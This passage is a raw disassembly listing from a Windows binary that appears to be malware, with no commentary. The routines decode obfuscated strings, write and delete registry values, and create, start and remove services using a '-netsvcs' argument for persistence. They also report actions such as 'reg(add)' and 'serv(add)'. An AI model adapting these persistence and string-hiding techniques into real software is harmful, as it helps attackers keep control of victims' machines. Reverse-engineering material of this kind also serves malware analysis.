[esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2920000h nop mov edx, [esp+80h+var_70] push edx call near ptr 28E0000h nop lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E220 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E7A0 proc near ; CODE XREF: sub_401447j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E7A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_401424 lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 mov esi, dword_50F754 push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] mov ebp, dword_50F764 push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_50F738 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E7A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EC30 proc near ; CODE XREF: sub_401497j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40EC30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_401424 push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C5D push eax nop call near ptr 27E0000h lea ecx, [esp+5Ch+var_3C] call sub_401424 mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+60h+var_24] call sub_4017E4 push eax lea eax, [esp+64h+var_3C] push offset dword_443684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_401424 lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402153 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40EC30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED70 proc near ; CODE XREF: sub_402153j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40ED70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 call near ptr 28E086Ch nop mov edi, eax test edi, edi jnz short loc_40EDAF xor al, al jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EDAF: ; CODE XREF: sub_40ED70+36j lea ecx, [esp+54h+var_24] call sub_401424 mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017E4 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017E4 push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_447874 call sub_4017E4 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017E4 push eax push edi nop call near ptr 28E0B12h mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EE95 nop call near ptr 27A08E0h cmp eax, 431h jnz short loc_40EE79 mov ecx, [esp+54h+var_44] push ebp call sub_401942 mov esi, dword_50F74C push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_401497 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE79: ; CODE XREF: sub_40ED70+CBj push edi nop call near ptr 28F0000h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE95: ; CODE XREF: sub_40ED70+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 28F0302h test eax, eax push esi mov esi, dword_50F74C jnz short loc_40EEEC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EEEC: ; CODE XREF: sub_40ED70+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EF00: ; CODE XREF: sub_40ED70+3Aj ; sub_40ED70+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40ED70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EF90 proc near ; CODE XREF: sub_401942j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28E086Ch mov edi, eax test edi, edi jnz short loc_40EFB7 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push edi nop call near ptr 2880457h mov esi, eax test esi, esi jnz short loc_40EFE4 push edi nop call near ptr 28F0000h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFE4: ; CODE XREF: sub_40EF90+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi nop call near ptr 28E04F4h push esi nop call near ptr 28E0747h push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40EF90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F030 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28E086Ch mov esi, eax test esi, esi jnz short loc_40F04F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F04F: ; CODE XREF: sub_40F030+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017E4 push eax push esi nop call near ptr 2880457h test eax, eax jnz short loc_40F076 push esi nop call near ptr 28F0000h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F076: ; CODE XREF: sub_40F030+37j push edi mov edi, dword_50F74C push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F030 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F0B0 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 28E086Ch mov edi, eax test edi, edi jnz short loc_40F0D1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0D1: ; CODE XREF: sub_40F0B0+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017E4 push eax push edi nop call near ptr 2880457h mov esi, eax test esi, esi jnz short loc_40F0FB push edi call near ptr 28F0000h nop pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj push 0 push 0 push esi nop call near ptr 28D0BEDh push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F0B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F140: ; CODE XREF: ___:loc_4014A1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439048 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F23A push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401726 test al, al jz short loc_40F206 lea ecx, [esp+0Ch] call sub_4017E4 push eax lea ecx, [esp+28h] call sub_4017E4 push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch loc_40F206: ; CODE XREF: ___:0040F1C7j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F23A: ; CODE XREF: ___:0040F176j lea ecx, [edi+47h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F2D9 push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401447 test al, al jz short loc_40F2B2 lea ecx, [esp+24h] call sub_4017E4 push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_40F2B2: ; CODE XREF: ___:0040F27Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F2D9: ; CODE XREF: ___:0040F24Cj lea ecx, [edi+75h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3EF push 1 push offset asc_443600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402153 test al, al jz short loc_40F3AD lea ecx, [esp+24h] call sub_4017E4 push eax lea ecx, [esp+10h] call sub_4017E4 push eax lea ecx, [esp+44h] call sub_4017E4 push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 20h loc_40F3AD: ; CODE XREF: ___:0040F364j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: ___:0040F2EBj lea ecx, [edi+0A3h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F491 push 1 push offset asc_443600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401942 test al, al jz short loc_40F46A lea ecx, [esp+54h] call sub_4017E4 push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_40F46A: ; CODE XREF: ___:0040F435j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F491: ; CODE XREF: ___:0040F404j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F590 proc near ; CODE XREF: sub_401D02j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call near ptr 77C2C407h nop mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F590 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F600 proc near ; CODE XREF: sub_401695j var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F600 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E6A lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_401424 lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_401424 lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401749 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401749 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401749 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401749 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401749 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401749 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401749 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401749 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401749 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401749 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401749 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401749 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401749 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401749 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_401721 mov dword ptr [edi], offset off_43E034 mov bl, 11h xor edi, edi push offset byte_446F70 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43E028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015D7 nop call near ptr 27D07CDh push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017E4 push eax push offset dword_4470FC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019B5 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017E4 push eax push offset dword_447100 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017E4 push eax push offset dword_447104 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019B5 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017E4 push eax push offset dword_447108 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017E4 push eax push offset dword_44710C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017E4 push eax push offset dword_447110 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017E4 push eax push offset dword_447114 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017E4 push eax push offset dword_447118 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017E4 push eax push offset dword_44711C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017E4 push eax push offset dword_447120 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017E4 push eax push offset dword_447124 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017E4 push eax push offset dword_447128 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017E4 push eax push offset dword_44712C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017E4 push eax push offset dword_447130 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017E4 push eax push offset dword_447134 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017E4 push eax push offset dword_447138 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017E4 push eax push offset dword_44713C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017E4 push eax push offset dword_447140 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F600 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C0 sub_40FD70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FD88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FD88: ; CODE XREF: ___:0040FD7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FDA0 proc near ; CODE XREF: sub_4013C0j var_10 = dword ptr -10h var_4 = dword ptr -4 